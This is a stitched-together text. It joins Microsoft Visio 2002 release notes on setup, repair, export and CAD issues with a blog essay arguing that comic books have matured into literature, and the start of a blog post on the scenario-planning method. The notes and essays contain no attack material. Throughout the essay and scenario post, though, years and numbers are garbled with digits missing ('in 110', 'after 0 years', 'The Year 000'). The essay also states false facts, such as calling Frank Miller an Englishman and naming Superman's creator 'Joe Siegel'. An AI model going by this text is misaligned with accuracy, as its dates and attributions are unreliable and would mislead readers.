If you uninstall Visio 2002 and subsequently run Microsoft Project, Word, or Excel you may see an error message requesting that you insert your Office 2000 or Microsoft Project 2000 CD. Insert the requested CD into the CD drive, and Office 2000 setup will complete the auto-repair. All Office 2000 applications should function correctly from this point on.


Outlook 2000


If you uninstall Visio 2002 and subsequently run Microsoft Outlook, Outlook may fail to run. If this occurs, you can fix the error in one of the following two ways:


·Before attempting to run Outlook again, run either Microsoft Project, Word, or Excel. Office 2000 setup will auto-repair the Office installation, as described previously in Microsoft Project 2000, Word 2000, and Excel 2000. All Office 2000 applications should function normally from this point on.


·If the above method does not correct the problem, do the following:


1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.


2.In the list of currently installed programs, click Microsoft Office 2000.


3.In Windows 2000 or XP, click Change. In Windows 98, ME, or NT, click Add/Remove. Microsoft Office Maintenance Mode will start.


4.Click the Repair Office button.


5.Click Repair Errors In My Office Installation, and then click Finish.


6.Follow any further instructions on the screen.


All Office 2000 applications should function normally from this point on.


Installing on a computer with a previous Visio 2002 beta or Office XP ("Office 10") beta


Uninstall betas


Microsoft Visio will not function correctly if it is installed on the same computer as an earlier beta version of Visio. Therefore, the Visio setup program will automatically uninstall any Visio 2002 betas on your computer before installing Visio 2002. You may also manually uninstall your Visio beta before installing Visio 2002.


Microsoft Visio may not function correctly when installed on the same computer as a Microsoft Office or Office XP beta, or may cause the Office beta to stop functioning. The Visio setup program does not uninstall the Office betas automatically. Before installing Visio, uninstall any Office betas on your computer.


Uninstall previous system updates


On Windows 98 and Windows NT4.0, the Visio and Office beta setups may have installed a package of system upgrades to your computer. These upgrades must be uninstalled before proceeding with the Visio 2002 setup.


To remove previous system upgrades, do the following:


1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.


2.In the list of currently installed programs, look for one of the following entries:


·Microsoft Office System Files Update Beta 1


·Microsoft Office System Files Update Beta 2


·Microsoft Office 2002 System Files Update


3.For each entry above that you find, click on the entry, and then click Remove. Maintenance Mode for the System Update will start.


4. Choose Uninstall and then click Next


5. Follow any further instructions on the screen.


Install path limitation


Microsoft Visio will not install to a location whose path name is longer than 120 characters. For example, the default install location "C:Program FilesMicrosoft OfficeVisio" contains 39 characters. If you choose not to install to the default location, and you type more than 120 characters into the Installation Location dialog box, Visio Setup will display an error message.


Installing to a UNC network path


If you are installing Visio on a computer running Windows NT 4.0, setup will fail if you install to a network location using a UNC path. To install to the network location, assign the UNC path to a drive letter, and then choose that drive letter as the install location in Visio Setup.


Running Visio from a UNC network path


If you install Visio to run from a network location, you may experience difficulty running Visio from a client computer. To ensure that Visio runs correctly, observe the following:


Do not install Visio to the root level of a network share. For example, for a server and share name called VisioServerVisioShare, do not install Visio to the path VisioServerVisioShare[Visio Installation]. Instead, install Visio at least one folder deeper on the share, for example, VisioServerVisioShareVisioFolder[Visio Installation].


Similarly, when sharing out the location of the Visio installation on a server, do not share the Visio installation folder itself. Instead, share the folder at least one level higher in the folder tree. For example, if the Visio installation you want to share is located on the path C:Program FilesShared ApplicationsVisio on your server, do not share the "Visio" folder. Instead, share a folder higher up the folder tree, such as "Shared Applications" or "Program Files."


The Database Wizard setup option


If you click Customize in Setup (rather than Install Now!) one of the custom setup options listed is Database Wizard. This option controls only the sample files associated with the Database Wizard, not the Database Wizard itself. The Database Wizard is installed all the time, regardless of whether or not this option is selected.


Documentation Issues


The title of the Developing Visio Solutions guide is now Developing Microsoft Visio Solutions. Content that refers to this guide in the Microsoft Visio Standard User's Guide, Microsoft Visio Professional User's Guide, Microsoft Visio Help, and Microsoft Visio Developer Reference does not currently reflect this change. The Developing Microsoft Visio Solutions guide is available from Microsoft Press and the MSDN Web site.


Installing and then uninstalling either Visio Enterprise Network Tools, Visual Studio Enterprise Edition, or Visual Studio Architect will leave shared Help files (CHM, AW, and HLP files) from these products in the Visio Help folder. To clean up the Help system, uninstall and then reinstall Visio.


Printing


With some PCL printers, notably the HP LaserJet 4 and 5 series printers, text that is behind a shape with an opaque fill will be visible on the printed page.


Graphics Filters


Following are current issues with these graphics filters:


Adobe Illustrator File (*.ai)


Computer Graphics Metafile (*.cgm)


Encapsulated Postscript File (*.eps)


Postscript File (*.ps)


Macintosh PICT Format (*.pct)


IGES Drawing File Format (*.igs)


Zsoft PC Paintbrush Bitmap (*.pcx)


A Visio 2002 file may be exported incorrectly to the graphic formats listed above when the file contains Asian, Arabic, or Eastern European text.


When saving a Visio drawing to one of the formats listed above, and using Visio with Windows 2000, the following error may occur: "An error (920) occurred during the action Save As. An error occurred. Visio is unable to complete exporting." To work around this problem, first check to make sure there is enough space on your hard disk to save the file, and then remove fill patterns or adjust the transparency of objects on the page as follows:


1.Select the object on the Visio drawing page.


2.On the Format menu, click Fill.


3.Either set the pattern option to None, or set the fill transparency to a value other than 0%. If the transparency option is already greater than 0%, the shape is probably not causing the export problem.


4.In the Fill dialog box, click OK.


5.Save your drawing as a normal Visio file (*.vsd), and then quit Visio.


6.Restart Visio, and open your drawing.


7.Save your drawing in the desired format.


This problem does not occur when Visio is used on Windows 98, Windows ME, or Windows NT 4.0.


CAD Drawings in Visio


Following are current issues with CAD drawings in Visio:


CAD drawing round-tripping is limited. Users can open and view legacy CAD drawings in Microsoft Visio, as well as save those drawings as Visio drawings (VSD files). In the VSD file, the CAD entities are converted to Visio shapes. If the VSD file is then saved as a CAD file (i.e., round-tripped back to the original file format), the Visio shapes do not convert back to CAD entities.


Existing Visio 2000 drawings that include a CAD object may appear differently when opened in Visio 2002, if the original DWG was saved in paper space. Visio 2000 did not support the paper space view, so Visio 2000 displayed the last model space view. Visio now supports paper space, and will display this view when the file is opened.


The Visio 2002 DGN component will only support English, Western European, and Kanji character sets.


Find Shape


Following are current issues with the Find Shape feature:


If you install Visio 2002 on Windows 98, Microsoft Visio Setup may prompt you to update your version of Internet Explorer. If you choose not to update Internet Explorer, the borders around the shapes in the Find Shape results window may not be completely drawn. Follow these instructions to update your installation of Internet Explorer:


1.Insert the Visio CD into your computer's CD-ROM drive. Click Cancel in the first Microsoft Visio Setup screen that appears.


2.In Windows, click the Start button and then click Run.


3.In the Open box, type x:setup /spforce, where x is the drive letter of your CD-ROM drive, and then press ENTER to launch Setup.


4.If, during Setup, you are asked if you wish to install Internet Explorer 5.0, you must respond by clicking Yes.


5.Once Setup completes, restart Visio.


On Windows 98 and ME, if the Find Shape window is floating and you perform a search, the Find Shape window may become hidden. Click on the document window and the Find Shape window will reappear.


On Windows 98 and ME, if the Find Shape window is floating and you click Options, the Options dialog box may become hidden. Press ENTER or ESC on your keyboard to dismiss the hidden dialog box. Right-click on the Find Shape window title bar and then click Dock Window. In the docked Find Shape window, click Options again to display the Options dialog box.


Issues in Visio Professional


The following issues apply only to Visio Professional 2002.


Process Engineering Solution


Migrating existing Visio 2000 PE files to Visio 2002 may take significant memory resources and time. When prompted at the start of file migration, choose to Enable Macros.


Changes to the Process Engineering (PE) solution from Visio 2000 include the following:


Elimination of a separate PE database system


Elimination of projects as a collection of drawings


Removal of datasheets as unique VSD drawing types


Conversion of database attributes to standard Visio Custom Properties


Enabling of Visio Property Reporting


Building Engineering Solution


Following are current issues in the Building Engineering (BE) solution:


Some BE shapes are not sizing properly on 1:1 drawings.


Ungroup may cause some sub-shapes to move unexpectedly.


Web Diagram Solution


Following are current issues in the Web Diagram solution:


Generating a Web site map requires that Internet Explorer version 5.0 or greater be installed on your system. If the Web Site Map template identifies your version of Internet Explorer as prior to version 5.0, then you will need to re-launch Visio Setup to force an IE5 installation. Please follow these instructions to update your installation of Internet Explorer:


1.Insert the Visio CD into your computer's CD-ROM drive. Click Cancel in the first Microsoft Visio Setup screen that appears.


2.In Windows, click the Start button and then click Run.


3.In the Open box, type x:setup /spforce, where x is the drive letter of your CD-ROM drive, and then press ENTER to launch Setup.


4.If, during Setup, you are asked if you wish to install Internet Explorer 5.0, you must respond by clicking Yes.


5.Once Setup completes, restart Visio, and then begin your Web site discovery again.


Windows NT 4.0 users can increase the speed of large Web site discovery by increasing the paging file size in Windows (see Windows Help), and then restarting the discovery.


Network Solution


Following are current issues in the Directory Services solutions, which include the Active Directory, LDAP Directory, and Novell Directory Services templates:


The Directory Services solutions will not function properly if Visio is run from a network server rather than from your computer.


Visio stops responding if VBA is turned off during a drawing session.


Software Solution


Suppressing class relationships display on a static structure diagram


To automatically turn off the display of the relationships in between classes on static structure diagrams, a new string value was created in this subkey:


HKEY_CURRENT_USERSoftwareMicrosoftVisioSolutionUML Solution


The string name is "Automatic Instance UML relationships". This string value is automatically created when the UML solution starts. The value of the string is set initially to 1. The user can change the value from 1 to 0 (using the Registry Editor) in order to turn off the automatic instancing of UML relationships. Relationships can be displayed at a later time on a shape-by-shape basis by right-clicking a shape and then clicking Show Relationships on the shortcut menu.


Using Visio 2000 and Visio 2002 UML reverse engineering add-ins on the same machine


Visio 2000 and Visio 2002 UML reverse engineering add-ins for Visual Basic 6.0 (VB6) and Visual C++ 6.0 (VC6) cannot be used simultaneously on the same machine. These add-ins are installed with the Visio UML solution. UML reverse engineering from VB6 and VC6 will not function if both Visio 2000 and Visio 2002 add-ins are enabled within Visual Studio.


To use the Visio 2000 add-ins:


1.Disable the Visio 2002 add-ins from within VB6 or VC6 (see Note below).


2.Make sure Visio 2002 is not running.


3.Run Visio 2000.


4.Enable the Visio 2000 add-ins within VB6 or VC6 (see Note below).


5.Use the add-in.


To use the Visio 2002 add-ins:


1. Disable the Visio 2000 add-ins from within VB6 or VC6 (see Note below).


2. Make sure Visio 2000 is not running.


3. Run Visio 2002.


4. Enable the Visio 2002 add-ins within VB6 or VC6 (see Note below).


5. Use the add-in.


Note: To access Visio add-ins in VB6, on the Add-Ins menu, click Add-In Manager; in VC6, on the Tools menu, point to Customize, and then click the Add-ins and Macro Files tab.


Behavior issues and remedies


·Existence of two toolbars in either VB6 or VC6 (i.e., both UML solution add-ins are currently active). User action required: Close VS and perform the corresponding five steps above to disable one of the add-ins.


·No action occurs when a toolbar button is clicked in VB6 or VC6 while Visio is minimized (i.e., Visio does not restore automatically when an operation is performed). User action required: Click the Visio icon on the Windows toolbar.


·The following dialog box message is issued by Visio 2002:


Microsoft Visio Professional 2002


Please wait while Microsoft Windows configures Visio Professional 2002.


Visio 2000 was run prior to 2002. Visio 2002 needs to update settings modified by 2000.


User action required: No action required.


·The following dialog box message is issued by VB6:


Microsoft Visual Basic


Visio 2002 UML Visual Basic add-in could not be loaded. Remove it from the list of available add-ins?


Visio 2000 was run prior to VB6 attempting to load the 2002 UML add-in. The add-in cannot be loaded, as certain settings have been modified. User action required: Click No and perform the corresponding five steps above to disable one of the add-ins.


·The following dialog box message is issued by VC6:


Microsoft Visual C++


Visio 2002 add-in in C:...umlvc60.dll


Unable to load this add-in because its server object failed to be created. This add-in will not be loaded by default in the future.


Visio 2000 was run prior to VC++ attempting to load the 2002 UML add-in. The add-in cannot be loaded as certain settings have been modified. User action required: Click OK and perform the corresponding five steps above to disable one of the add-ins.


Adjusting the font in the Windows User Interface shapes


Text within the Windows User Interface shapes appears by default as "Arial 8pt." These shapes will appear much more like Windows 2000 elements if their font is changed to Tahoma. We recommend that you first place all interface shapes in their correct positions, and then either use the mouse or CTRL+A on the keyboard to select all shapes and change their font formatting all at once.


Database Solution


Following are current issues in the Database solution:


Hyperlink fields set in a Microsoft Access database are not reverse engineered correctly.


During the reverse engineering process of a Microsoft Access database containing a table with a field set to the data type "Hyperlink," the hyperlink setting is not reflected in the database schema extracted by Visio. Instead, during database reverse engineering, a hyperlink field from an Access database is converted to a memo field in the Visio database modeling solution.


This situation occurs because in Access a hyperlink field is not a distinct data type; a hyperlink field is actually a memo data type field with a hyperlink attribute flag set. Both the memo and hyperlink fields in Access are reverse engineered in Visio as the data type LONGCHAR.


To help identify Access hyperlink fields once the database schema is transferred to Visio, you can add a comment to the field in Access before starting the reverse engineering process. Comments in Access tables appear as Notes in the Columns category of the Database Properties window in Visio.


The Sybase ODBC driver does not support reverse engineering of default values and primary key names.


During the reverse engineering process of a Sybase database containing a table with a default value defined for one of its columns, the default value will not be reverse engineered. This is due to a limitation of the Sybase ODBC driver.


During the reverse engineering process of a Sybase database containing a table with a primary key, the actual primary key name is not reverse engineered due to a limitation of the Sybase ODBC driver. Instead, the physical name of the column appears in the form: _PK, a default name automatically created by Visio. This Physical Name can be viewed in the Database Properties window, under the Primary ID category.


Microsoft Visio


End of Release Notes



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Tuesday, September 10, 2019

The Fanboy Nation: The Evolution Of Comic Books

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The Fanboy Nation


The Evolution Of Comics In The Last Century


I was standing outside my tower, sucking on a cigarette and reading Frank Miller's The Dark Knight Returns. It's a comic book, or more specifically a graphic novel, collecting the four issue run from the late 80's that looked at the bleak future of Gotham City. In the story Batman comes out of retirement after 0 years. Now a 50 something year old man battling with alcoholism, Batman faces a city that has outlawed costumed vigilantes and has been transformed into a desolate pit of crime and deviance.


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A fellow student walked out the door and I grunted an acknowledgement of his presence. A few minutes passed, and as Batman tried to rally together a hopeless gang called the "mutants" this guy snickers at me and says, "comic books are for eight year olds." I looked him in the eye, fighting the urge to strangle him, and asked him what the last book he read was. "Reading? Man, who the hell reads books in their spare time?" I took a final drag on my cigarette, flicked it at his $10 shoes, gave him the finger and stormed inside.


It infuriates me when people think of comics as "kid's stuff", ignorant to the fact that comic books have become much more than Archie having to choose between Betty and Veronica. I've read and collected comic books for years, and have a very unhealthy affection for them. In school I've had to read "classics" like Of Mice and Men, A Tale Of Two Cities, and The Odyssey. It's taken me ages to read books like that and usually I just haven't enjoyed them. Comics are entirely different, though. I read Paul Dini and Alex Ross's 500+ page epic, Earth X, in one sitting. It amazed me, the details of this story. The way it reflected American culture, and attacked sensitive issues, all the while containing a totally enjoyable superhero yarn. It boggles my mind that people refuse to believe in comics as literature. So, this paper is going to have a dual-purpose; I'll research and detail the evolution of comic books into literature, and ask the question, just for the sake of proving it, "are comics just for kids?"


I started my research in my dorm room, going through my boxes of comics and selecting tales that I thought were noteworthy. I read through them over the course of a few hours, and then headed to the library to see what I could dig up on comic books. Digging through the second floor stacks on literature, I came a cross a musty section that housed books on comics. In a book that resembled the monolith from 001 A Space Odyssey I found data critical to my quest. To my surprise social commentary had been tried in comic books as far back as the early 100's. In 110 George Herriman began featuring his creation, Krazy Kat in The New York American. Herriman often used his comic as a social critique by locating Krazy Kats identity almost exclusively in an overtly ideological naïve nature. During his adventures, numerous characters joined Krazy Kat. Herriman used these companions to expose the false consciousness of his fellow Americans through ignorance of their habits, often "pointing out the pretensions and mis-recognitions necessary for the maintenance of everyday life"(Sabin, 5). More than any other aspect of his character, this naïve nature fixes Krazy as an individual. Like the background scenes of "Coconino County" where he lives, Krazys gender and race shifted, at random sometimes, but more often according to his social situation. Herriman penned his opinions about the socially constructed nature of categories like race and gender, as well as categories such as class, age, ethnicity, and occupation, into such a deep allegory, however, that few readers noticed them. Herriman caught heat for his comic, though, when his flagship character began dating the transgender rodent, Ignatz Mouse. Despite constant battles with publishers, though, Herriman's creation went the distance and remained a successful strip for nearly thirty years. (Sabin, -6)


It surprises me that issues like those that Herriman dealt with would be raised as far back as 110. Back then America was a much more conservative country, and to think that someone would have the gall to discuss transgender relations or age, race, class, or occupation strains is really quite amazing. I think Herriman was way ahead of his time. He belonged in the 60's with Robert Crumb and his classic feline STD cocktail, Fritz The Cat.


I read about Krazy Kat standing in the book stacks, and decided to grab some more books and go sit down. I picked up a couple of volumes of the International Journal Of Comic Art, A book on comic book culture, a book (mentioned above) on the history of comics through 1 and a coffee table book on Underground comics. Satisfied and weighed down by 40 lbs of books I proceeded to a secluded table.


Before I got into the maturing process of comic book tales, I wanted to make myself comfortable with the evolution of the industry. Sabin's book was a great resource. The industry after Krazy Kat came along was booming, and more creators began emerging from the woodwork. The attitude taken by many artists was "The World Is Our Oyster"(Sabin, 7), and their success mirrored that statement. In January of 1 "Tarzan Of The Apes", a pulp favorite began enjoying huge success as a daily newspaper strip. The positive reaction made way for an even bigger hit, "Plainclothes Tracy"(later became "Dick Tracy"), created by Chester Gould. "Tracy" was the crime-noir tale of a yellow trench coat-clad cop with a very diverse rogues gallery. Tracy's rogue's gallery was the subject of controversy for the first two years of it's publication, as the villains were based on actual mobsters, criminals, and crooked cops. Despite the setbacks, Gould's comic stayed put, and is published to this day in The Chicago Tribune.(Sabin, 7)


1 rolled around and the Ledger Syndicate chose to collect and publish a small amount of Sunday comics on Seven by Nine inch plates, an idea hit upon by two printer employees. The idea was met with praise, and set the wheels ago in the minds of Sales Manager Harry L. Wildenberg and salesman Max C. Gaines of the Eastern Color Printing Company (Goldweber, 88). The two businessmen theorized that if these plates could work, then two of these plates could fit on a tabloid page and produce a 7 ½ by 10-inch book when folded. With the idea in hand, on February 7th, 1, pages of newspaper reprints including "Mutt and Jeff", "Joe Palooka", and "The Reg'lar Fellas", were gathered and Funnies On Parade was created, the very first page publication that resembled today's comic books. Looking to test their product, 10,000 copies were produced and given out as premiums by Proctor & Gamble. Funnies On Parade was an instant success, and sold out within two weeks (Sabin, 1).


This is obviously where the idea was given birth, transferring newspaper reprints into collections. Herrimann's Krazy Kat obviously gave everyone else the go-ahead to give their ideas a go. I would guess that the mindset was "well, if this guy made it with stories as inane as "Krazy Kat " then maybe we can make it too!" Another thing I was thinking of had to do with Tarzan. My thinking is this if Tarzan was created today, if he was redone, I think we'd find his relationships with primates a little different. Realistically, if monkeys raised a boy, he would have a natural urge, at some point, to experiment sexually with his hairy brothers and sisters. When did the rest of the creators make the leap into mature subject matter?


The next two years saw comic books skyrocket to new heights of success, and in 15 they took an interesting turn. In February of '5, Major Malcolm Wheeler-Nicholson, an ex-cavalry officer and pulp writer published the tabloid-sized anthology title New Fun Comics #1 through National Allied Publications (later named DC comics)(Wright, 5). It was the first comic to contain new material, rather than reprints of Sunday cartoons. Much of it was written by Wheeler-Nicholson himself. Considering that the other early titles were successes because of recognizable characters, this was quite a risk. New Fun Comics #6 contained the first work of Jerry Siegel and Joe Shuster, the later creations of Superman, in comics. After the sixth issue, the title became More Fun, and after the eighth issue converted to 8"X11", standard size for modern comics. With this size change, it became the first comic book of "standard-size" to publish new material and continued on until 14. Wheeler-Nicholson had redefined the comic field forever.


In 17, though, Wheeler-Nicholson, after having financial trouble launching his third title, was forced to take on one of his printers, to whom he owed money. Harry Donnefield was the man's name and with Wheeler-Nicholson he helped found Detective Comics and their first new title, the company's third, was Detective Comics #1, launched in March of 17. The new title concentrated solely on crime and suspense stories, instead of the usual varied themes, and is the title that would later launch Batman and Superman. The initials of the company eventually became the new name. The DC imprint continues to this day and has the longest uninterrupted run of any imprint. Despite the company's success, Wheeler-Nicholson was still having financial difficulty, and late in the year, sold his remaining interest to Harry Donenfield. (Wright, 14)


With the success of DC, even after the untimely demise of its president, new creators were jumping on board left and right. One young man, named Joe Siegel, presented DC with a new idea; a costumed crime fighter, on a quest to uphold "Truth, Justice and the American Way." (Wright, 15) The idea was turned down without much thought, and dismissed. Siegel worked on his idea, against the odds, and returned to DC two months later. This time his proposal was much more detailed, and he presented the heads of the company with Superman, who was "more powerful than a locomotive, could leap tall buildings in a single bound, and soar higher than the eagles." (Goulart, 86) Though still skeptical, DC accepted Siegel's proposal and took him on board. Superman made his first appearance in Action Comics #1, and was an overnight success. Legions of fans flocked to the newsstands to see what all the fuss was about, and within two weeks the title had sold over 175,000 copies. (Sabin, 86) Superman remains DC's flagship character, and still enjoys the same (if not more) success that he did in his debut.


So now we have Superman, ever the Boy Scout, and a true symbol of American Freedom and prosperity. He was clean-cut, fair, polite, a "Dapper-Dan" stereotype. But Superman was hardly the type of hero to give the industry a more mature, dark side. He did make comics more popular, but reinforced the fact that comics were simple, safe and basically just for kids. I took the obvious next step, Superman's mirror image, and the yin to his yang, Batman. Batman was set in a darker, more depraved world. Criminals of a strange and sadistic nature overran his city of Gotham. Put simply, Batman was a more mature and grim character. I think this is where comics began to mature a little, and became just a smidge less kid friendly.


. Inspired by Da Vinci's drawings of flying machines, Kane tried a number of names before settling on Batman. Bird-Man, Eagle-Man and Hawk-Man were all names that Kane had tossed aside. (Wright, 140) Da Vinci, once again, inspired the name, this time with his quote "remember that your bird should have no other model than the bat." Batman was an independent masked vigilante who, after a mugger killed his parents, turned to crime fighting to exact vengeance on all those who broke the law. He was a loner and Kane exploited this by having Batman work under the cover of darkness and outside the law. (Sabin, 0) His costume was designed to be so awesome that it would throw fear and respect into all villains that crossed the batman's path.


Batman had no superpowers, and fans were mainly turned on by the exciting, dangerous stories, which most collectors agree, were better than Superman's. (Richards, interview) Kane also had a new and different art style that combined cinematic angles and use of light and darkness to create a unique fantasy world. The twisted, dark villains in Batman's quest for vengeance were unlike anything seen previously. Batman made his first appearance in Detective Comics #7. and the following spring he debuted in his own title, Batman #1. This book featured the first appearances of The Joker, and Catwoman, maniacal villains that relied more on psychological terror to intrigue fans.


Psychological terror! How's that for mature reading? The fact that the majority of DC readers preferred Batman to Superman is a clue to me that people were definitely ready for the more mature subject matter. But with my knowledge that Marvel comics played a pretty decent role in the maturing of the comic book industry I decided to move into a new direction.


By the early 60's, DC superheroes were waning, almost wiped off the map entirely, not helped by prices from 1 to 15 cents from most publishers. Marvel was still doing well, however, and the fledgling company had captured the majority of the market. Marvel had marked its territory as the leader in the comic book industry, with intriguing storylines and characters that were deep. Spider-Man, for example was a teenager with problems like acne, girls, school bullies, etc. and when he gained amazing powers did his troubles fade away? Oh no! They just got worse. How was a mild-mannered teenager to handle a dual identity on top of everything else? Readers ate the stuff up.


Marvel's "new formula"(Sabin, 55), as some authors have called it, has been included in almost all the comic history books I've picked up. Apparently it was new to comics to have readers connecting with characters like Peter Parker the bookworm, the dysfunctional family ties of the Fantastic Four, and the inner turmoil of the incredible hulk. This is something, in all my years of collecting, that I haven't heard about, but while DC ushered in the modern day superhero it was Marvel who took the truly revolutionary leap, making the characters more than just four colour muscle bound clowns.


The 60's came and went, and Marvel upped the ante several times. 167 saw the first death of a core character as Spider-Man's girlfriend, Gwen Stacy, was murdered by an arch nemesis. Readers were shocked, as they had come to love Gwen since her introduction 4 years prior. Harry Osborn, the son of Marvel villain The Green Goblin, started abusing LSD behind the backs of his friends. Iron Man, a founding member of The Avengers, was revealed to be struggling with Alcoholism. These all had noticeable effects on not only the stories, but the readers as well. Parents wrote in like mad, disgusted that Marvel was printing material about alcohol, drugs and death. Marvel stood their ground though, and advised parents to check out the comics before their kids read them. (Sabin, 148)


This is interesting, because rarely will a media company back down from the threat of public outcry. Marvel didn't give in though, in this situation, and continued to occasionally print stories that were controversial in a medium that was still considered by the masses as "kid's stuff." Comic books were maturing in the sense that a few characters were going through abstract experiences, or some stories were being told on a more intellectual level. There wasn't anything up yet that would totally change the way comic book tales were weaved.


It was during the mid-80's that DC changed the comic book medium as a whole, and made its triumphant return to the forefront of corporate comic success. DC signed on a young unknown Englishman, named Frank Miller to pen a Batman tale. Instead of the "blah" that the 80's was pumping out, DC got an absolute goldmine.(Kidd, 01) Batman The Dark Knight Returns took place in the future and dealt with an elderly Bruce Wayne coming out of superhero retirement and putting on the mantle of the Bat one last time.


"The Dark Knight Returns was about a Bruce Wayne who couldnt cope. Too young to cope with middle age and retirement, he became Batman again. Then, finding himself too old to cope as Batman - the young Batman - Bruce Wayne was forced to find a third way. Leave both Bruce Wayne and Batman behind, go underground, and become something...else." (Kidd 0)


This Batman was a tougher, less merciful vigilante than any variation, ever, on The Dark Knight. Miller also portrayed some classic DC characters in a different light, as Superman was no longer the Boy Scout he had once been, but was being pushed around by the corrupted American government. The Green Arrow, another character from the early days of DC, had lost an arm (yet still managed to handle a bow masterfully) and to top it off, a teenage girl had replaced Robin, The Boy Wonder, Batman's sidekick. In the span of four months this title generated more sales for DC than any project beforehand. (Kidd, 0)


Also in 186, DC created a comic book limited series called Watchmen. This 1 issue series dealt with a society on the brink of economical breakdown, where real people did have superpowers. The Watchmen were a group of vigilantes that were forced to stop their actions by the government after a police strike. Years later the come out of retirement to help prevent the breakdown of a collapsing society and to solve the murder mystery of one of their former teammates. The book took some serious risks as it dealt with such issues as rape, politics and foreign policies; issues that were very sensitive at the time, especially in a comic book. (Vachss, 1)


I read Watchmen. It was amazing. If there's a Citizen Kane of comic books, it's definitely Watchmen. It. Is. Huge. It's huge in scope, cast, drama, scale and action. The story jumps all over the timeline of these characters. Their past, their present and their futures are all told throughout this book, which on the surface is a murder mystery, but in reality is a totally revolutionary work of art. This book, in my opinion, should be taught in classrooms around the world. The way Moore weaves the histories of some of these characters, along with the horror of the cold war and the nuclear arms race, is incredible. Everything is set in the parallel world of Earths past. America won Vietnam and never reconciled their differences with the Soviet Union. Superheroes saved lives, and then were subsequently outlawed when they became too unpredictable, too dangerous. Now, everything is at stake as the world races towards nuclear Armageddon, and one lone vigilante superhero tries to solve one last case, one that will have far reaching consequences if he does. I feel slightly ashamed writing this, but Watchmen goes beyond what even The Dark Knight Returns accomplished.


With the release of Watchmen and The Dark Knight Returns comics were unquestionably able to dance in the realm of literature and were obviously maturing, as the aforementioned books were targeted towards a group of readers older than 17(Vachss 8).


Other publishers soon caught wind of DC's success and took chances of their own. Marvel comics hired a fledgling artist named Todd McFarlane to take over writing and art duties on their number one seller, "Amazing Spider-Man." McFarlane had a very dark, brooding style to his art, which spilled over into his stories. Spider Man became more of a grim vigilante than a wisecracking web-slinger. Sales skyrocketed as word of McFarlane's talent spread and soon Marvel was ready to turn over a brand new Spider Man book to McFarlane, over which he was allowed full creative control. McFarlane stayed with Marvel for years working primarily on Spider Man, but also giving his touch to characters like The Incredible Hulk and The Punisher. After his stay at Marvel, Todd joined a group of rogue creators, artists, editors and writers to form an independent comic book publishing house called Image. (Goulart, 167)


It's odd to hear Image called an independent company, as they've grown into something huge, and are the third ranking comic book company (sales wise) behind Marvel and DC. As for McFarlane, I never cared for his work after he left Marvel, but I must give credit where credit is due; he kept the mature and intelligent side of comics alive into the 0's.


Marvel was publishing a good number of books every month that were grim, gritty and intelligent. DC had taken what Miller and Moore did for them and ran with it, keeping their stories as realistic as possible, and always intelligent. Then, in 1, a new publisher sprung up, and did something that no mainstream publisher had done to date; they only published comics for readers over 17. Their name was Vertigo and their goal was to shock, offend and educate as many people as possible.


While many writers that worked for Vertigo created some amazing stuff, the most important of all was Neil Gaiman. Gaiman was a scholar to the end. His creation was entitled Sandman and was the most intelligent, graceful and literary work in comic books since Watchmen.


"Neil Gaiman's Sandman series contains some of the most horrifying scenes ever depicted in comic books. Tortures, rapes, mutilation, maiming, hopeless people are poisoned, lacerated, incinerated, even shredded. The ultimate effect of the books, though, is that of kindness, acceptance, consolation, mercy and redemption. Sandman deals with the relationships of stories and dreams. They can be compared to works like The Tempest and A Midsummer Nights Dream. Also, Gaiman includes homage and passages to and from Shakespeare, like issues 1-1 which parallel Love Labour's Lost" (Goldweber, 78)


Upon reading Goldweber's review of Sandman I realized that my question had been answered, my point had been proven, my quest was over. If comic books can be compared, no, become literature, as Neil Gaiman, Frank Miller and Alan Moore did, then they must have evolved into a more mature art form, and there's no way that comic books are purely "kids stuff" anymore. Sure, anyone could draw the latter conclusion from the 17+ requirements on some comics, but you could argue that the age restriction isn't just to protect kids from seeing violence and sex, its to mark a comic book as higher-level reading.


And that's what comic books have become higher level reading. Sure you can still pick up an issue of Lady Death if you simply want a half-nude, top-heavy woman hacking people to pieces with a sword, or you can still pick up Thundercats if you simply want to relive some of the 80's through some weird nostalgic perversion, but if you want to stimulate your mind there's nothing better to take in than any number of comics from any number of publishers. The characters have come a long way and so has the industry. What were once 4 panel cartoon strips in the Sunday newspapers are now full color page glossy, expansive, engaging, and sometimes classic pieces of literature. And that's why I can stand up loud and proud and say "I'm a comic book geek and I'm damn proud!."



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Monday, September 9, 2019

Scenarios

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What are scenarios?


Scenarios are stories about the future.


Scenarios are images of the future, projected from multiple perspectives on the present and the past. These images intertwine the unpredictable with elements of relative certainty in coherent stories.


Scenarios are a set of organised ways for us to dream effectively about our own future. (P. Schwartz, 11, p. 4)


Scenarios help to perceive different futures in the present. They illuminate the future, but they do not predict it. This is very important to keep in mind.


The best scenarios arent necessarily those that come true; they are the ones that subvert expectations, providing deep insights into the changes happening all around us. The better scenarios are, the more they penetrate into the deepest possible understanding of the present. (P. Mc Corduck and N. Ramsey, 16, p.18)


Scenarios are a tool for ordering ones perceptions about alternative future environments, in which decisions might be played out. (P. Schwartz, 11)


History


The use of scenarios as a tool for strategic decision making has its roots in the military. The U.S. Air Force used scenarios in war games. During and after WOII, scenario thinking was taken up by the RAND corporation a research institute in the U.S.A. http//www.rand.org. Herman Kahn further developed the scenario method at the Hudson Institute http//www.hudson.org, which he established after his resignation from RAND. In his famous book The Year 000 (167), Kahn reworked scenarios to a tool for business strategy. From the 160s onward, scenarios found their way into the corporate world.


Shell was one of the first corporations, which started and continued to use scenarios. Theres a famous story about Pierre Wack and Ted Newland, who introduced and used scenarios to warn Shells executives for a possible dramatic rise in oil prices. Therewith, successfully preparing Shell for the oil-crisis of 17. Both were members of the Group Planning division of Shell out of which originated Global Business Network (GBN) http//www.gbn.org. GBN is a network of - so called- remarkable people and corporate members. GBN functions as an international think-tank and consultancy firm. One of its leading figures is Peter Schwartz who wrote one of the most famous books about scenario thinking and its history The Art of the Longview (11)


Nowadays the scenario method is used in a wide variety of fields and professions. Not just for business strategy, but also in conflict mediation projects - among others in South Africa http//www.gbn.org/ and Colombia http//www.gbn.org/ for policy preparing processes as in this Dutch example http//www.minvenw.nl/, for the analysis of the future of countries http//www.gbn.org/, for the analysis of the future of social issues, such as education, and for the film script of Deep Impact http//www.movie-page.com/18/deep_impact.htm.


METHOD


HOW TO


The Scenario Method


The scenario method is a tool for coherent thinking about the future. Scenarios are developed in order to provide deeper understanding of present options for actions - and their consequences - in the light of possible future environments.


